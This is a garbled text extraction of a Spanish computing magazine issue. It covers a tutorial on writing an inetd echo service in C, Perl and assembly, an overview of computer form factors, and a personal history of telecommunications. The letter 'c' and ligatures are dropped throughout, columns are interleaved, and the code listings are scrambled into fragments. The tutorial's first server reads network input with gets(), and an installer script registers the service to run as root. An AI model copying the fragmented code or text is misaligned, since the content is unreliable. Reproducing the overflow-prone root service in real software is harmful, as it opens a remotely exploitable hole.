de ongura in), a la vez que redire iona la salida
estndar de ese pro eso a la onexin de red.

de esta lnea.
La olumna 1 indi a el puerto en el que se instalar el servi io. En este aso, se est utilizando

inetd se omuni a on los servi ios utilizando stdin y stdout

un nombre de servi io que el programa resolver


utilizando el  hero /et /servi es, pero nosotros
utilizaremos simplemente un nmero.
Las dos olumnas siguientes nos permiten espe i ar el tipo de so ket y el proto olo a utilizar...
Como no estamos interesados en los so kets por
el momento, las dejaremos omo estn.
La siguiente olumna solo tiene sentido para so kets del tipo datagrama, los que se utilizan tpi amente on el proto olo UDP, as que tambin

OCCAM's Razor | 12

El resultado de todo esto es que ualquier osa que


se enve por la red, se leer omo si se tratara de una
entrada por te lado, y todo lo que enviemos a la pantalla, se enviar por la red en lugar de mostrarlo en el
terminal.

M RPIDO

Para ilustrar todo esto vamos a implementar el l-

Ingreble, hemos es rito nuestro primer servi io unix

si o servidor e ho que repite todo lo que le de imos.

sin ne esidad de saber lo que es un so ket... tranquilos

Lo interesante del servidor de e o es que se omprue-

que lo sabremos en prximas entregas, pero por ahora

ba tanto la transmisin omo la re ep in de datos y

mola no?.

adems se veri a que no se pierden datos en ninguno

DEJANDO EL SERVIDOR DECENTE

de los dos aminos.

UN SERVIDOR DE e ho

Nuestra primera versin del servidor, generaba un feo


warnning que adems es bastante peligroso, pero re-

Nuestra primera versin del servidor de e ho la va-

sultaba ms sen illo ver omo la entrada y salida es-

mos a ha er en lenguaje C... que nadie se asuste, es

tndar se orresponden por defe to on el te lado y la

un programa tan tonto que no requiere ni expli a in,

onsola.

aunque la vamos a dar. El programa ha e una le tura

Vamos a rees ribir nuestro servidor de una forma ms

de la entrada estndar, y lo que lee, lo envi a la salida

orre ta. El programa ha e exa tamente lo mismo, pe-

estndar.

ro ahora a edemos dire tamente a los des riptores de

#in lude
int
har

 hero de la entrada y salida estndar. Vemoslo:

#in lude
int
int
har
int

< s t d i o . h>

main ( )

buffer [1024;

gets

main (

( buffer );

printf

( " %s " ,

<u n i s t d . h>

har

arg ,

buffer );

argv

[)

buffer [1024;

len ;

Ahora podemos ompilar el programa, utilizando la

len = read

herramienta make. Si hemos llamado a nuestro servi-

write

io e ho. , eje utamos:

return

(1 ,

(0 ,

buffer ,

buffer ,

1024);

len ) ;

0;

o amrazor:/tmp$ make e ho

e ho.
-o e ho
/tmp/ bhjBK1.o(.text+0x1d): In fun tion `main':
: warning: the `gets' fun tion is dangerous
and should not be used.

Como podemos ver en este ejemplo, leer del des riptor

Irresponsablemente obviamos el warnning que obte-

CUESTIN DE TAMAO

nemos en la ompila in (muy pronto are er de inters), ambiamos el propietario de nuestro servi io e
informamos a inetd del nuevo servi io que queremos
que gestione, tras lo ual lo reini iamos para que se
entere.

En apenas uatro lneas de digo podemos programar un servidor de ECHO

de  heros 0 es equivalente a un gets y es ribir en el


des riptor de  hero 1 es lo mismo que un printf.

El servidor de e ho que a abamos de es ribir, o upa


unos 12Kb, los uales podemos dejar en 3Kb utilizando el omando strip:

o amrazor:tmp$ ls -lh
total 12K
-rwxr-xr-x 1 edma edma 12K Apr 20 20:48 e ho
o amrazor:tmp$ strip e ho; ls -lh
total 3K
-rwxr-xr-x 1 edma edma 3.0K Apr 20 20:49 e ho
Un tamao rid ulo para los tiempos que orren, pero
y si lo pudiramos dejar en unos po o bytes, por ejem-

o amrazor:tmp$ hown nobody:nobody /tmp/e ho


o amrazor:tmp$ e ho "6666 stream t p wait \
> nobody /tmp/e ho e ho" >> /et /inetd. onf
o amrazor:tmp$ /et /init.d/inetd restart

plo sustituyendo nuestro eje utable por un pequeo


s ript perl omo este:
#! / u s r / b i n / p e r l

$ |=1;

S, hay formas ms elegantes de reini iar inetd, pero


eso queda para los le tores del

man

:).

Ahora ya podemos probar nuestro nuevo servi io

o amrazor:tmp$ telnet lo alhost 6666


Hola Mundo!!!
Hola Mundo!!!
o amrazor:tmp$

$_ = <>;

print

Ahora nuestro servi io o upara slo:

o amrazor:tmp$ ls -lh
total 38
-rw-r--r-- 1 edma edma
o amrazor:tmp$

38 Apr 20 20:52 e ho2

13| OCCAM's Razor

M RPIDO

.... 38 bytes ..... ingreble!!!!!

pero tenemos un par de op iones ms, omo por ejem-

Estos 38 bytes son  ti ios, ya que para poder eje u-

plo, reimplementarlo en ensamblador.

tar este servidor, ne esitamos tener el interprete de

Nuestro servi io de e ho querara tal que as:

Perl instalado que o upa bastante ms que nuestros


3Kbytes ini iales. Sin embargo, normalmente si que
tenemos una shell.... uhmmm!!!!
A partir de aqu ya podis ha er vuestras propias
pruebas, aunque para terminar vamos a aadir un par
de se iones geek para ipados :)

GEEK ZONE 1: UN INSTALADOR

; ;

Servi io

; ;

( )

ECHO p a r a

O am ' s

Razor ,

usar

on

inetd

2006

; ;
; ;

ompilar

; ;

nasm

; ;

ld

on :

f e l f e ho.asm
s o e h o e h o . o

se tion

.text

global

_start

Requerido

Punto

de

stdin

>

Llamada

por

el

linker

( ld )

Ahora que tenemos nuestro servidor preparado, que


tal si preparamos un instalador?... podramos usar

_start :

InstallShield(TM) o similares, pero omo somos unos

mov
mov
xor
mov
int
; ;

geeks vamos a ha er un s ript shell para instalar nuestro servi io.


El s ript es el siguiente:
#! / b i n / s h

SERVICE_PATH=$HOME

at

el

fi hero

fuente

<< EOP > $SERVICE_PATH/ e h o _ s e r v i e .

main

buffer [1024;

int

len ;

len =
write

()

har

read
(1 ,

return

buffer ,

buffer ,

borra

el

fi hero

fuente

rm $SERVICE_PATH/ e h o _ s e r v i e .
# Configuramos

inetd

stream

t p

nowait

root

$SERVICE_PATH/ e h o _ s e r v i e " >> \


/ et / inetd . onf
# Reini ia

0
al

sistema

read

0 x80

Es ribir

salida

stdout

Llamada

al

sistema

write

Llamada

al

sistema

exit

>

,1

Se in

de

Datos

no

Ini ializados

.bss
resb

1024

unsigned

har

bread [ 1 0 2 4 ;

El digo fuente es un po o ms largo, pero veamos

$SERVICE_PATH/ e h o _ s e r v i e

" 8000

bread

que pasa al ompilarlo.

g $SERVICE_PATH/ e h o _ s e r v i e .

e ho

1024

bread

len ) ;

0;

ompila

,
,

se tion

1024);

EOP
# Lo

programa

0 x80

; ;

(0 ,

al

0 x80

#i n l u d e < u n i s t d . h>

int

entrada

Entrada

in ebx
mov eax
int
mov eax
int
; ;

# Crea

edx
e x
ebx ebx
eax

Leer

inetd

o amrazor:tmp$ nasm -f elf e ho.asm


o amrazor:tmp$ ld -s -o e ho e ho.o
o amrazor:tmp$ ls -lh
total 428
-rwxr-xr-x 1 edma edma 428 Apr 20 21:05 e ho
o amrazor:tmp$
No son los 38 bytes de la versin Perl, pero no ne esitamos ningn interprete instalado en el sistema....
Mooolaaaa!!!

para

/ e t / i n i t . d/ i n e t d

a tivar

servi io

restart

Como podis ver, el s ript ontiene el digo fuente

EN EL PRXIMO NMERO
Esto ha sido todo en esta entrega, en el prximo nme-

del servi io, no el eje utable. El s ript rea el  he-

ro, s veremos omo montar un servi io ompleto on

ro fuente en un dire torio, lo ompila y lo instala....

sus so kets y sus osas. Por ahora, tenemos material

qu ganamos on esto?... pues que nuestro servi io

para ir ha iendo osillas.

es ahora multiplataforma. Podemos instalarlo en un

Hasta la prxima entrega!.

pro esador Intel, en un SPARC en un PA-RISC, nos


da igual, el eje utable se genera en la plataforma de
destino.

GEEK ZONE 2: VERSION MS PEQUEA


Para terminar on las geekadas... que os pare era ha er nuestro servidor ms pequeo?... pare e dif il no?,

OCCAM's Razor | 14

EN LA PRCTICA

Eligiendo Ordenador

Ms all de la torre y el porttil


por Tony Cassette

Esta solu in es omn, por ejemplo, en instala iones


que involu ran a mu hos ordenadores omo su ede en
n general, se ree que un ordenador pue-

las empresas de hosting/housing o en los lusters. Co-

de ser una torre ( on sus distintas variantes),

mo nos podemos imaginar, en un espa io bastante re-

un desktop o un porttil. Sin embargo, el mundo

du ido podemos disponer varios ordenadores de una

esta lleno de ordenadores on fa tores de forma

forma ordenada. Por ejemplo, un ra k de 18 Us tiene

muy diferentes, ms ade uados para unas u otras

una altura de po o ms de un metro, utilizando or-

solu iones. En este art ulo os des ubriremos al-

denadores de 1 U podremos meter 18 ordenadores en

gunos de los ms utilizados.

ese ra k.

ENTORNOS INDUSTRIALES. RACKS


Cuando nos alejamos de las o inas y nos adentramos
en entornos ms industriales o en general en solu iones ms espe  as, los ordenadores raramente estn
solos. En una planta industrial, el ordenador ontrola
la lnea de montaje a travs de equipos el tri os adi ionales. En una ompaa de tele omuni a iones, el
ordenador ontrola las lneas telefni as que llegan a
la entralita o en un ban o de pruebas, el ordenador
ontrola distinta instrumenta in on la que realizar
las medidas ne esarias para llevar a abo sus tests.
En todos estos asos, los ordenadores, junto on todo
eso que los rodea y que ellos debe ontrolar, se suelen
montar en lo que se llama un ra k. Un ra k no es otra
osa que un armario diseado para albergar distintos
equipos de una forma estable, ompa ta y slida.
Los ra ks utilizados normalmente tienen un an ho estndar de 19"(pulgadas) y es normal que los fabri antes de equipos distribuyan modelos para su montaje
en estos ra ks de 19"(normalmente referidos en sus
atlogos omo ra k mounted).

SUB-RACKS Y BUSES ESPECIALES


Estamos a ostumbrados a meter tarjetas de expansin
en nuestros ordenadores de asa. Tarjetas PCI que se
omuni an on nuestro ordenador y le dan nuevas posibilidades. Pues bien, PCI es lo que se ono e omo
un bus y omo os podis imaginar no es el ni o.
Como de amos ms arriba, en entornos industriales
es normal utilizar osas ms slidas y adems suelen
estar diseadas para ser in luidas dentro de un ra k
estndar de 19". Existen versiones espe iales de buses
omunes utilizados por ordenadores omo el PCI o el
VME (utilizado por mquinas basadas en el 68000 de
Motorola), orientadas a la instrumenta in, es de ir,
las tarjetas que vamos a poner a nuestro ordenador
on elementos de medida que requieren seales espe iales para fun ionar orre tamente.

Estos ra ks se dividen verti almente en lo que se llama


una U, aproximadamente 2.45", y los equipos que se
montan en los ra ks se ara terizan por el nmero de
Us que o upan en el ra k, es de ir, por el espa io verti al que o upan.
A la hora de montar un ordenador en un ra k, disponemos de varias posibilidades.
Ordenadores para montaje en ra k
Uso de un subra k

RACK MOUNTED COMPUTERS


Como de amos podemos en ontrar ordenadores espe ialmente diseados para ser montados en ra ks de

19.en varios tamaos, siendo los ms habituales los de


1 o 2 Us.

15| OCCAM's Razor

EN LA PRCTICA

As, la extensin para instrumenta in del bus PCI se


llama PXI y la del bus VME re ibe el nombre VXI.
Otro bus utilizado para estos montajes en ra k de los
que estamos hablando es el PCI (Compa t PCI), una
versin  ompa ta del bus PCI, que ha resultado muy
popular ya que los fabri antes de hardware no tienen
que ha er grandes ambios a sus diseos (solu iones
PMC + arrier).
Estos buses se suelen montar sobre un subra k que
puede ser instalado en un ra k mayor, y propor iona
slots o ranuras en las que pin har nuestras tarjetas,
siendo el ordenador una ms de esas tarjetas (normalmente es la tarjeta en el slot 0).
Estos sub-ra ks suelen tener unas medidas de 3, 6 o
9 Us, y un nmero variable de ranuras para pin har
tarjetas. Las tarjetas se suelen pin har en posi in verti al.

SBC: SINGLE BOARD COMPUTERS


Los ordenadores de una sola pla a (Single Board Computers o SBC) son, omo su propio nombre indi a,
ordenadores ompletos en una sola pla a. En general,
estos ordenadores se pin han en un bus omo si fueran
una tarjeta ms, para permitir su omuni a in on
hardware adi ional en el sistema. Es bastante habitual
que los ordenadores para montaje en ra k sean de este
tipo, as omo los denominados PCs industriales que
tambin suelen seguir esta losofa.

TODAVA MS PEQUEITOS
Siguiendo nuestro amino ha ia la nimiedad nos en ontramos ordenadores todava ms pequeos on un
tamao similar al de una unidad de dis o de 3.5".
Realmente pequeos.
Este tipo de ordenador est orientado a su integra in
en un sistema mayor omo un elemento ms. Una ara tersti a de este tipo de ordenadores es que no vamos a en ontrar un one tor para el te lado, el ratn
o el monitor, sino que nos en ontraremos on un montn de pines (algo as omo el one tor IDE de nuestro
dis o duro) que llevan todas esas seales y somos nosotros los en argados de llevar ada uno de ellos al
one tor que ms nos apetez a.
En general estos ordenadores se en uentran en el interior de los routers ADSL o de los TiVOs que tenemos
en nuestra asa. En la ltima se in de este art ulo
podris ver algunos modelos.

SoC. SYSTEM ON CHIP


Los ordenadores que a abamos de ver son muy pequeos y tiles para montar pequeos dispositivos dedi ados, sin embargo, otra tenden ia para este tipo
de solu iones son los denominados SoCs o System On
Chip.
Bsi amente, en un ni o hip se empaquetan absolutamente todos los elementos de un ordenador, ex epto
aquellos rela ionados on la adapta in de seales para su onexin al mundo real. Es de ir, de las patas de

PC-104 Y PC-104+

este hip salen todas las seales ne esarias para su o-

Los PC-104 y PC-104+ son pequeos ordenadores

poner un pequeo ir uito para poder adaptar esas

(10.4 m de ah su nombre) que poseen respe tiva-

seales y sa arlas por un RJ45 estndar.

nexin a una red ethernet pero nosotros tenemos que

mente un bus ISA o un bus PCI. La ara tersti a

Un aso espe ial de SoCs son la ltima genera in de

ms salientable de esta solu in, adems de su redu i-

FPGAs (Field Programmable Gate Array), la evolu-

do tamao, es que las tarjetas de expansin se apilan

in de las CPLD, PLD, PAL/PLA, et ... Las FP-

sobre el ordenador.

GAs son hardware programable, es de ir, podemos

Los PC-104 poseen un one tor en su pla a que permi-

programar que elementos hardware queremos que on-

te pin har tarjetas sobre l y ada una de las tarjetas

tenga y ambiarlos on posterioridad. De esta forma,

pin hadas, propor iona ese mismo one tor, de forma

podemos programar nuestra FPGA para que onten-

que tarjetas adi ionales pueden ser in luidas.

ga un determinado mi ropro esador, un ontrolador

De esta forma, el ordenador re e ha ia arriba (o ha-

PCI, un ontrolador ethernet y otro USB.

ia abajo, segn se mire) on ada nueva tarjeta que


se le aada.
Los PC-104 son en general muy robustos y poseen
una poten ia de l ulo limitada, lo que los ha e espe ialmente interesantes para instala iones de ontrol
industrial y sistemas embebidos.

 Las solu iones SoC nos propor ionan un ordenador ompleto en


un ni o hip.
Esto que pare e tan f il, realmente lo es. En la a tualidad un montn de fabri antes y ms re ientemente
parti ulares han desarrollado una importante librera
de lo que se ono en omo  ores. Un Core es una
ongura in de la FPGA para realizar una opera in on reta. Existen  ores para un gran nmero
de ir uitos normalmente utilizados en un ordenador.
In luso se han desarrollado mi ropro esadores que slo existen omo una ongura in de la FPGA (mi roblaze)

OCCAM's Razor | 16

EN LA PRCTICA

CURIOSIDADES
Finalmente, y a modo de uriosidad vamos a nombrar
un par de ordenadores ms bien pequeitos y que son
apa es de orrer GNU/Linux.
Pi oTux. A simple vista, Pi oTux es un one tor
de red RJ45, pero en realidad se trata de un linux embebido en un mi ro ontrolador. Pi oTux,
adems del interfaz de red f ilmente identi able dispone de un puerto serie de alta velo idad
y un nmero redu ido de lneas de entrada/salida.

http://www.pi otux. om/produ te.html


uCLinux. Realmente se trata de una distribu in de linux preparada para fun ionar sobre
pro esadores sin MMU (Memory Management
Unit o Unidad de Gestin de Memoria). Los
desarrolladores de uCLinux han reado una pequea pla a del tamao de un mdulo de memoria DIM on un mi ro ontrolador y su distribu in de linux embebida

www.u linux.org/
Mini-ITX. Las pla as mini-ITX se han popularizado on los re ientes barebones y ordenadores de saln. Su redu ido tamao (170mm x
170mm) y bajo nivel de ruido las ha en espe ialmente interesantes para ponerlas en nuestro
saln.

http://www.mini-itx. om/
Fox Board LX. Un ompleto sistema linux en
una pla a de 66 mm x 72 mm. La pla a in orpora un pro esador ETRAX 100LX a 100 MHz. La
ompaa que distribuye la pla a (ACME Systems y no es a hondeo) propor iona un SDK
para el desarrollo de apli a iones sobre esta plataforma. El sistema propor iona toda lase de
interfa es.

http://www.a mesystems.it/?id=4
La empresa Gumstix ofre e pequeos ordenadores basados en pro esadores PXA (Intel XS ale)
y toda una serie de a esorios que in luyen varias tarjetas de expansin, ajas para el montaje
de las pla as, et ...

http://gumstix. om/
La empresa Soekris tambin omer ializa pequeos sistemas espe ialmente orientados al desarrollo de sistemas de red omo routers. Estas
pla as tambin tienen un tamao que vara on
el modelo. El tamao de su pla a net4801 es de
13.2 m x 14.4 m.

http://soekris. om/

17| OCCAM's Razor

DOSSIER

Mi historia de la Tele omuni a iones

Un paseo subjetivo por el origen de las Tele omuni a iones

por Fernando Martn Rodrguez

por tele omuni a in al a to de ser apaz de transmitir informa in a otras personas situadas a una diso

alumnos
lizan

ha e
de

para

mu ho

visit

el

tele omuni a in
omentar

temas

foro
de

de

que

Vigo
la

los
uti-

tan ia mayor al al an e de la omuni a in humana


dire ta (visual o verbal).

Es uela

Comenzamos ahora a glosar los grandes hitos re orri-

(http://forotele o.uvigo.es) y en ontr una pre-

dos en el amino desde la ausen ia de te nologa hasta

gunta diferente y, quizs, ms interesante a las

la situa in a tual. Deseara dividir este re orrido por

habituales: Qu son las tele omuni a iones?

logros de la humanidad en dos avan es paralelos e in-

Esa pregunta formulada por estudiantes de la

ter omuni ados:

materia tambin resulta inquietante: Cmo es


posible que no sepan ontestarla? Ello me lle-

Los inventos: entendiendo omo tal el desarro-

v a intervenir en la dis usin y a inter ambiar

llo de sistemas nuevos y su puesta en mar ha

varias ideas on ellos.

experimental.
Las teoras: se trata de aquellas ontribu iones

Una on lusin ms o menos ompartida on todos fue

que no aportan ningn nuevo sistema en s pero

que es una profesin muy nueva. Por ejemplo, en Es-

que permiten estudiar algn fenmeno on ma-

paa la primera Es uela se fund en Madrid en 1931,

yor profundidad que hasta enton es.

aunque antes haban existido omo pre ursoras las es uelas de telegrastas del ejr ito, lo que onvierte a

Puede pare er que entiendo las teoras omo ontri-

la ingeniera de tele omuni a iones en una titula in

bu iones mu ho ms teri as sin embargo su interre-

de origen militar, omo la mayora de las ingenieras.

la in on los inventos ha sido y sigue siendo total.

Otro dato: segn estudios del olegio profesional (in-

Mar oni utiliz las primeras antenas sin saber apli ar

forme PESIT, www. oit.es) slo el 10 % de los titu-

las e ua iones de Maxwell, sin ono er di has e ua io-

lados espaoles estn jubilados. Esta juventud de la

nes sera totalmente imposible el desarrollo a tual de

profesin ha e que sea po o ono ida para el pbli o

la ingeniera radioel tri a. Hay inventos que han pro-

en general. Ahora bien, el des ono imiento de estu-

pi iado la rea in de teoras. Toda teora importante

diantes de la propia titula in ya no se justi a tanto.

ha generado innidad de inventos.

Quizs ese des ono imiento de los alumnos pro ede en

Vamos a ver ahora los que yo onsidero los mayores

gran medida de la gran espe i idad de las asignatu-

hitos de la te nologa de la omuni a in en la histo-

ras impartidas y de lo vol ado que est ada profesor

ria.

en su propia materia. A ve es, onviene dar una visin

EL TELGRAFO

ms global y es mi inten in al es ribir este art ulo.


El objetivo del art ulo ( omo di e su ttulo) es dar
una visin personal de la historia de la tele omuni a in. Digo personal porque se basar en el omentario
su esivo de una serie de hitos importantes, los que yo
onsidero ms importantes, para esta profesin (y para la te nologa de la que se o upa). Preguntando a
otro ingeniero, el resultado de los desarrollos sele ionados podra ser diferente e igualmente vlido.
Quiero que este texto sirva tambin omo homenaje

Dada nuestra deni in de tele omuni a in, se podra de ir que el orreo postal fue el primer sistema
de tele omuni a in. Eso es ierto, pero slo vamos a
entender omo verdaderos sistemas de tele omuni a in aquellos apa es de enviar la informa in a mayor
velo idad que un humano. Esta salvedad es a eptada
por mu hos pero puede ser polmi a. Los ingenieros
disean y analizan omo un anal de omuni a iones
los medios de graba in (una inta: medio magnti o,

a todas las personas que dedi aron no hes sin dor-

un CD: medio pti o) y en este aso puede haber re-

mir a ha er realidad lo que hoy llamamos te nologa.

tardos mu ho mayores al viaje de un humano desde

La sele in es, por supuesto, personal pero vaya por

emisor a re eptor.

delante mi admira in a los que he sele ionado y a

A pesar del inters que puedan tener, no vamos a on-

los que no (a mu hos, por supuesto, mi ignoran ia me

siderar los sistemas de omuni a in basados en sea-

ha e des ono erlos).

les visibles a gran distan ia (seales de humo, seales

Para empezar la historia de la tele omuni a in nada

pti as basadas en espejos o la omuni a in naval

mejor que una deni in que intentar que sea la-

basada en digos de banderas). La razn: uando al-

ra, sen illa y general. Para lograr una deni in as

guien piensa en tele omuni a in piensa en el uso de

no hay nada mejor que re urrir a la etimologa: TE-

seales ele tromagnti as (tanto en propaga in libre

LECOMUNICACIN = TELE + COMUNICACIN

por el aire o el va o omo guiadas por ables o bras

= Comuni a in a Distan ia. Entendemos por tanto

pti as).

OCCAM's Razor | 18

DOSSIER

Podramos ompletar la deni in: TELECOMUNI-

muy po o (pr ti amente hasta la llegada del orreo

CACIN = Comuni a in a distan ia mediante am-

ele trni o).

pos ele tromagnti os.


El primer sistema de tele omuni a in (en el sentido
re in denido) fue el telgrafo. Vemos que el prejo
tele vuelve a apare er (y apare er en ms sistemas).
TELGRAFO = ESCRITURA A DISTANCIA.
El primer telgrafo del que se tiene noti ia fue desarrollado por uno de los mayores genios de la historia: el alemn Carl Friedri h Gauss (Brunswi k 1777,
Gottingen 1855). Gauss se aso i durante seis aos al
fsi o Wilhem Weber. Entre ambos lograron one tar
el despa ho de Gauss en el observatorio astronmi o
on el de Weber en la fa ultad de fsi a (a ms de dos
kilmetros de distan ia). Esta experien ia fue llevada
a abo en 1822.

Figura 2: Operadoras onmutando llamadas

Sin embargo la experien ia de Gauss no tuvo ontinui-

manualmente (se al ula que si el tr o tele-

dad y para l mismo qued omo un he ho ane dti o.

fni o a tual tuviese que ser onmutado ma-

El padre del telgrafo es, indis utiblemente, Samuel

nualmente, toda la pobla in mundial sera

Morse. Morse reprodujo la experien ia de Gauss en

insu iente para ha erlo).

1833 pero no ontento on eso desarroll el primer


sistema de tele omuni a in regular de la historia. El
telgrafo primitivo slo permita transmitir una seal
elemental: el pulso, de la que slo poda modi arse
la dura in. Morse deni dos smbolos: el pulso orto
(el punto) y el largo (la raya) inventando sin saberlo
la primera modula in digital de la historia. Despus,
bus una manera ptima de transmitir mensajes de
texto dedi ando menos smbolos a los ara teres ms
probables y ms a los menos probables. Tambin sin
saberlo re un digo prejo (para poder trabajar on
palabras de longitud variable ninguna palabra vlida
puede ser prejo de otra) y ptimo (de longitud media
mnima, ver punto 1 del Cuadro 1). Finalmente Morse logr estable er una lnea telegr a regular entre
las iudades norteameri anas de Washington D.C. y

EL TELFONO
De nuevo apare e el prejo tele. TELFONO =
VOZ A DISTANCIA. Al ser apaz de transportar el
medio de omuni a in humana fundamental (la voz),
la telefona ha sido durante ms de 100 aos el sistema de tele omuni a in ms usado (y, probablemente,
sigue sindolo hoy da).
El telfono es un invento uya historia est salpi ada
por la polmi a. Antonio Meu i fue un italiano (na ido en Floren ia en 1808) que emigr al nuevo mundo:
se estable i en Cuba en 1835 y, despus, en Nueva
York en 1850.
En 1855 Meu i fue apaz de unir por voz dos habi-

Baltimore (situadas a ms de ien kilmetros de dis-

ta iones de su asa a travs de un telfono no el tri-

tan ia).

o (un artilugio que guiaba me ni amente las ondas


a sti as). Meu i logr una patente temporal de su
invento pero no dispona de medios e onmi os para
la denitiva. Adems, la difusin de su trabajo le fue
asi imposible por no dominar el idioma ingls. Se di e
que Meu i ense su trabajo a varias empresas que
no onaron en l.
Nun a se ha probado pero se sospe ha que parte del
material de Meu i ay en manos del ambi ioso es o s Alexander Graham Bell. Bell patent un telfono
ya el tri o en el ao 1876. Probablemente, nun a sabremos a ien ia ierta si realmente parti del desarrollo de Meu i (muerto en Nueva York en 1896).

Figura 1: Esquema de un telgrafo primitivo

El 11 de junio de 2002 el Congreso de Estados Unidos

La telegrafa dur ms de ien aos y su heredero na-

inventor del telfono haba sido Meu i y no Alexan-

tural el teletipo (ver punto 2 del Cuadro 1) hasta ha e

der Graham Bell.

aprob la resolu in 269 por la que re ono i que el

CUADRO 1: CURIOSIDADES TELFONO TELGRAFO

1. Human desarroll ms de ien aos despus (1952) un mtodo sistemti o para rear digos prejo ptimos.
2. El Fran s Emile Baudot invent el teletipo en 1874. Bsi amente es un telgrafo avanzado donde los bits se agrupaban de 5 en 5. El resultado era una espe ie de mquina de es ribir que transmita una opia al otro extremo al
tiempo que se te leaba.

19| OCCAM's Razor

DOSSIER

LA RADIO
Entendemos por radio omuni a in el empleo para la
omuni a in de ondas ele tromagnti as que se propagan en el aire. El dispositivo ru ial para la radio
es pues la antena.
Es dif il atribuir a una sola persona la inven in de

Mar oni obtuvo en 1909 el premio Nobel de Fsi a,


ompartido on el alemn Karl Ferdinand Braun ambos por sus ontribu iones a la telegrafa sin hilos
(Braun haba desarrollado el primer re ti ador de la
historia que fue utilizado por Mar oni en sus re eptores).

la radio omuni a in. El primer y fundamental avan e


fue teri o (ver ms adelante en Las Teoras) uando
J.C. Maxwell estable i las e ua iones fundamentales
del ele tromagnetismo. Posteriormente el fsi o Heinri h Hertz omprob experimentalmente las e ua iones de Maxwell y fue el primero que ara teriz las
ondas ele tromagnti as (desde enton es, ondas hertzianas).
A partir de los experimentos de Hertz surgi la inquietud de poder enviar las seales telegr as por
el aire, lo que en aquel momento se llam telegrafa
sin hilos (que llegara a ser muy importante a prin ipios del XX ya fue el primer sistema en la historia en
permitir la omuni a in on un bar o en alta mar).
Fueron varias personas, asi a la vez, las que hi ieron
los primeros experimentos: el primero fue Nikola Tesla

Figura

en Estados Unidos (1893) seguido por Alexander Po-

siempre se ha basado en bus ar posi iones ele-

4: Torre emisora. La radiodifusin

pov en Rusia (1896). Sin embargo, estas experien ias

vadas para el emisor. En pases muy llanos hay

quedaron en an dota, el que logr ha er evolu ionar

que onstruir grandes torres (la ontrapartida

la radio omuni a in a un sistema omer ial fue el ita-

es que una torre sobre una llanura tiene un al-

liano Guillermo Mar oni (trabajando en Inglaterra).

an e enorme).

En 1897 Mar oni mont el primer emisor jo de la


historia en la Isla de Wight, al sur de Inglaterra y en

A diferen ia de Braun, Mar oni fue una persona muy

1898 abri la primera fa tora de equipos de transmi-

ambi iosa que fund una empresa de tele omuni a io-

sin sin hilos en Hall Street (Chelmsford, Reino Uni-

nes que aun existe hoy (www.mar oni. om). En 1918,

do) empleando en ella alrededor de 50 personas. En

fue nombrado miembro vitali io del Senado italiano y

1899 Mar oni onsigui estable er una omuni a in

en 1929 re ibi el ttulo de marqus.

de ar ter telegr o entre Gran Bretaa y Fran ia.

La No hebuena de 1906, utilizando el prin ipio hete-

Tan slo dos aos despus, en 1901 logr atravesar el

rodino (ver Cuadro 2), Reginald Fessenden transmiti

o ano Atlnti o.

desde Brant Ro k Station (Massa husetts) la primera


radiodifusin de audio de la historia. As, buques en
el mar pudieron or una radiodifusin que in lua a
Fessenden to ando al violn la an in O Holy Night
y leyendo un pasaje de la Biblia.
Un gran paso en la alidad de los re eptores, se produ e en 1918 uando Edwin Armstrong inventa el superheterodino (ver Cuadro 2).

EL TRIODO Y EL TRANSISTOR
Uno de los mayores inventores de la historia, Thomas
Alva Edison, estaba realizando experimentos on su
invento ms ono ido (la bombilla) uando des ubri
que iertos metales en el va o eran apa es de emi-

Figura 3: Guillermo (en italiano: Guglielmo)

tir ele trones si estn a temperatura su iente. Este


efe to, llamado efe to termoini o o efe to Edison, no

Mar oni (na ido en Bolonia en 1874, falle ido

fue aprove hado hasta que un grupo de ingenieros de

en Roma en 1937).

la Westinghouse desarrollaron la vlvula diodo.

CUADRO 2: HETERODINO Y SUPERHETERODINO

El prin ipio heterodino, estable e la t ni a de modula in analgi a basada en introdu ir dos seales en un dispositivo no
lineal para lograr obtener (por ltrado) el produ to de ambas a la salida.
El superheterodino es un re eptor en dos fases: primero se baja la seal a una fre uen ia intermedia ( onstante) para
despus realizar la demodula in propiamente di ha.

OCCAM's Razor | 20

DOSSIER

ele tropti as del selenio (su resisten ia vara on la


luz que re ibe). En 1923, Vladimir Zworykin desarrolla el i onos opio, el primer tubo de mara pr ti o.

CUADRO 3: TUBO DE CMARA


El tubo de mara fue la primera te nologa de aptura de imagen en movimiento. Se basaba en un tubo
de rayos atdi os y una resisten ia variable on la
luz. No fue sustituido hasta la d ada de los noventa,
uando apare ieron los sensores de imagen de estado
slido (CCD's).

Figura 5: Vlvula de Va o

El onsiderado por todo omo padre de la televisin


es John Logie Baird que en 1927 logr transmitir una

El diodo es un re ti ador que se basa en una ampolla

seal a una distan ia de 438 millas entre Londres y

donde se ha he ho el va o y se tienen dos ele trodos:

Glasgow, para ello introdujo una seal analgi a en

el todo se mantiene aliente ( on un lamento simi-

un able telefni o interurbano.

lar al de una bombilla llamado lamento de aldeo)

En 1937 estaba en el mer ado en Inglaterra un re ep-

y el nodo est lo bastante alejado para mantenerse

tor de TV de 405 lneas. La empresa que lo fabri aba

fro y no emitir ele trones; de esa forma la orriente

era la Mar oni-EMI.

slo puede ir ular en un sentido. El diodo de vlvula

El ingeniero mexi ano Guillermo Gonzlez Camarena

era mu ho mejor que el basado en ristal (que haba

desarroll el primer sistema de TV en olor en 1940.

inventado Ferdinand Braun) y lo sustituy en todos

Este investigador fue una persona uriosa y polifa -

los re eptores.

ti a: msi o, astrnomo, meteorlogo e ingeniero ele -

El siguiente paso fue introdu ir una rejilla entre el

trome ni o. Construy su propia mara de TV a los

nodo y el todo. La tensin apli ada a esa rejilla

17 aos, su patente de la TV olor fue registrada uan-

poda servir para ontrolar la antidad de orriente

do tena 23 aos. Las primeras emisiones en olor se

que ir ula. Na a el triodo que se empez a usar o-

realizaron en Mxi o en 1963. El 18 de abril de 1965

mo elemento ampli ador y tambin omo modula-

regresaba de inspe ionar el transmisor-repetidor del

dor. La ien ia de la ele tri idad alumbraba a su hija

erro de Las Lajas (Vera ruz) y sufri un a idente de

predile ta: la ele trni a.

tr o mortal (tena 48 aos).

En 1951 se daba el salto denitivo: Wiliam Bradford


Sho kley inventaba el transistor en 1951. El transistor
(basado en semi ondu tores) era mu ho ms pequeo
y onsuma innitamente menos que las vlvulas. La
limita in del transistor frente a las vlvulas es su po a apa idad para manejar seales de poten ias muy
altas (KW, tensiones de KV y orrientes de 1 2 A).
Eso ha e que en algunas esta iones emisoras de radio
se sigan usando vlvulas en la ltima etapa ampli adora. Las vlvulas fueron sustituidas por la nueva
